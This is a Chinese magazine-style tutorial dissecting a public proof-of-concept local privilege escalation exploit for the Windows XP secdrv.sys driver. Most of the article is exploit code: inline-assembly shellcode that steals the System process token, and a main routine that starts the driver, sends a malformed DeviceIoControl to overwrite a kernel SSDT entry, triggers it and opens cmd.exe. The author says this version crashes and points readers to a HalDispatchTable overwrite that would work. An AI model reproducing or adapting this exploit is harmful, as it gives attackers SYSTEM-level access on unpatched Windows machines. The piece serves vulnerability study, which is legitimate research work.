深入浅出secdrv.sys本地提权0day Poc
来源:gyzy's Blog
本文已经发表在《黑客防线》2007年9月刊。作者及《黑客防线》保留版权,转载请注明原始出处
适合读者:溢出爱好者
前置知识:汇编语言、Windows内核基本原理
深入浅出secdrv.sys本地提权0day Poc
文/图 gyzy[江苏大学信息安全系&EST]
漏洞出在一款名为secdrv.sys的驱动程序中,secdrv.sys是集成在Windows Server 2003和Windows XP中的Macrovision的SafeDisc软件的一部分。SafeDisc能够阻止对一些媒体的非法拷贝,Windows Vista也集成有SafeDisc,但它没有受到这个漏洞的影响。由于该驱动没有正确地检查用户提供的缓冲区便将输入缓冲区的前4个DWORD拷贝到了输出缓冲区,因此可以覆盖任意地址,甚至内核地址。利用这个漏洞的限制是InputBuffer必须为固定的值。本地攻击者可以利用这个漏洞在 Windows平台上获得系统级权限。我在网上搜了一下资料,居然以前这个驱动就出现过此类问题。这个漏洞最早应该是WhiteCell的 Polymorphours大牛发现的,Symentec后来截获了这个漏洞报给了微软。Polymorphours牛牛公布了Poc,我们才得以一窥这个漏洞。这次我将带领大家从解读Polymorphours大牛的PoC,换一个角度来研究这个漏洞。
先说一下这个PoC利用的大致思路,因为这个驱动能写任意内存地址,所以通过覆盖SSDT中一个不常用的函数地址,然后通过调用这个函数来执行恶意代码。这儿牛牛选择了ZwVdmControl 这个函数。当然也可以选择其它函数,但是为了系统的稳定,最好还是选择不常用的函数地址覆盖。
VOID
SetShellCodeToMemory(
PVOID ShellCodeMemory
)
{
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return;
}
if ( OsVersionInfo.dwMinorVersion == 1 ) {
__asm {
call CopyXpShellCode
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // Find System Process
jne searchXp
mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token
ret 8
CopyXpShellCode:
pop esi
mov edi, ShellCodeMemory
lea ecx, CopyXpShellCode
sub ecx, esi
cld
rep movsb
}
}
}
Poc 代码除了main函数以外就一个SetShellCodeToMemory函数,很简单,前半部分是对系统的判断,假如不是Windows XP则退出,然后是把真正的Shellcode拷贝到指定地址0x200地址处。真正的Shellcode很简短,通过fs:[0x124] 或者0xffdff124能定位到当前线程的ETHREAD,再通过ETHREAD定位到EPROCESS,然后通过里面的双链表定位到所有的活动进程,比较其PID是否为4,PID4的在XP下是System进程,2000下System进程PID是8。然后将System进程的令牌赋给当前进程,这样权限就是System的了,由于权限继承的原理,当前进程的子进程也应该是system权限。这就是本地提权类漏洞利用的通用思路。上述定位活动进程链的思路如图1和2:
图1
图2
Main函数的任务就更加简单了,就是负责触发漏洞,我给下面这段代码加上了详细的注释,并且在原作者的基础上略为修改,使之能顺利的运行起来:
int main(int argc, char* argv[])
{
NTSTATUS status;
PVOID ZwVdmControl = NULL;
DWORD HookAddress = 0x804E3AD8;
// xp sp2下内核中ZwVdmControl函数的真正地址,由于环境不同,该值可通过IceSword获得,如图3
图3
PVOID ShellCodeMemory = (PVOID)0x200; //Shellcode的地址
DWORD MemorySize = 0x1000;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
SC_HANDLE hscmHandle = NULL;
SC_HANDLE hscDriver = NULL;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
PVOID InputBuffer = NULL;
printf( "\tWindows Local Privilege Escalation Vulnerability Exploit 0day (POC)\n" );
printf( "Create by Whitecell's [email protected] 2007/04/15\n" );
printf( "TEST OS: WINDOWS XP SP2\n" );
printf( "
/*由于该驱动默认是不会加载的,所以这儿我们只能通过SCM服务管理器来启动这个服务以迫使Windows加载该驱动*/
hscmHandle = OpenSCManager ( NULL, NULL, GENERIC_READ | SERVICE_START );
if ( NULL == hscmHandle ) {
printf( "failed, code: %d\n", GetLastError() );
return 0;
}
printf( "success!!\n" );
printf( "
hscDriver = OpenService( hscmHandle, "secdrv", GENERIC_READ | SERVICE_START );
if ( NULL == hscDriver ) {
printf( "failed, code: %d\n", GetLastError() );
CloseServiceHandle ( hscmHandle );
return 0;
}
printf( "success!!\n" );
printf( "
// 启动secdrv驱动
if ( !StartService( hscDriver, 0, NULL ) ) {
if ( ERROR_SERVICE_ALREADY_RUNNING != GetLastError() ) {
printf( "failed, code: %d\n", GetLastError() );
CloseServiceHandle ( hscDriver );
CloseServiceHandle ( hscmHandle );
return 0;
}
}
printf( "success!!\n" );
CloseServiceHandle ( hscDriver );
CloseServiceHandle ( hscmHandle );
//获得NtAllocateVirtualMemory的地址,后面会用到
NtAllocateVirtualMemory = (long (__stdcall *)(void *,void ** ,unsigned long,unsigned long *,unsigned long,unsigned
long))GetProcAddress( LoadLibrary("ntdll.dll"), "NtAllocateVirtualMemory" );
if ( NtAllocateVirtualMemory == NULL ) {
printf( "GetProcAddress failed, code: %d\n" );
return 0;
}
//动态获得ZwVdmControl的地址,为执行Shellcode作准备
ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
printf( "
//分配Shellcode的内存并把Shellcode拷贝过去
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "failed!\n[-] NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
printf( "Ok!\n" );
// 初始化 ShellCode
memset( ShellCodeMemory, 0x90, MemorySize );
SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x200) );
deviceHandle = CreateFile("\\\\.\\secdrv",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "[-] Open device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "
}
InputBuffer = LocalAlloc( LPTR, 0x1000 );
/*原作者的InputBuffer只拷贝了4字节的内容*/
*(PDWORD)InputBuffer = 0x1;
*(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;
*(PDWORD)((DWORD)InputBuffer + 0x8) = (DWORD)ShellCodeMemory;
*(PDWORD)((DWORD)InputBuffer + 0x10) = (DWORD)HookAddress;
DeviceIoControl( deviceHandle,
0xca002813,
InputBuffer,
16,
(PVOID)HookAddress,
16,
&dwReturnSize,
NULL );
CloseHandle( deviceHandle );
printf( "
_asm {
xor ecx,ecx
push ecx
push ecx
mov eax, ZwVdmControl
call eax
}
printf( "Done.\n" );
printf( "
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
π );
}
概括的说来,其实这个PoC很简单,只有寥寥几步,先加载secdrv的驱动,然后通过DeviceIOControl传递畸形参数覆盖SSDT表中的内核函数地址,然后调用该函数来执行Shellcode,自己测试的时候有几个地方需要自己修改一下,编译以后运行,如果不出意外的话你们看到的应该就是蓝屏,没有成功提权,重启以后使用Windbg调试蓝屏的dump文件,如图4:
图4
出错的指令就在内存拷贝上,因为SSDT的数据是不可写的,所以试图覆盖SSDT表windows当然会蓝屏,所以在提权中,覆盖SSDT来执行代码似乎不太可行,当然,假如系统中有类似杀毒软件之类的安全工具禁掉了内存保护那就另当别论了。看到这,也许很多读者会感到失望,为什么大牛发布出来的不能用呢,呵呵,也许是不希望所有的人都不劳而获,而希望广大聪明的读者能够踏踏实实的学到一点东西,而不是永远只是一个使用他人工具的脚本小子。
总结
由于自身水平有限,对这个Poc的解说也只能到这了,有一点是毋庸置疑的,那就是这个漏洞肯定是可以利用的,写任意内存可以覆盖一些关键的数据来获得EIP 的控制权,最近一直忙着写论文,也没有时间仔细研究,有兴趣的读者可以深入的研究一下。可以参考一下一个老外写的Poc,覆盖了内核中的 HalDispatchTable表来执行代码的。有了成果不要忘了和广大读者共同分享喔。
又是一个本地提权类的漏洞,从近两年开始,这一类的漏洞开始逐步增多了,已经成为了一个研究的热点,希望能通过这个例子,让广大朋友们能更快的进入内核漏洞利用的大门。其实内核漏洞利用的手段相对来说还是比较单一的,应该很容易掌握,上一期也讨论了如何编写内核下的Shellcode,有兴趣的朋友可以探索一下。
文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,有任何问题来我的博客留言:http://www.gyzy.org
(文中所涉及的程序码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)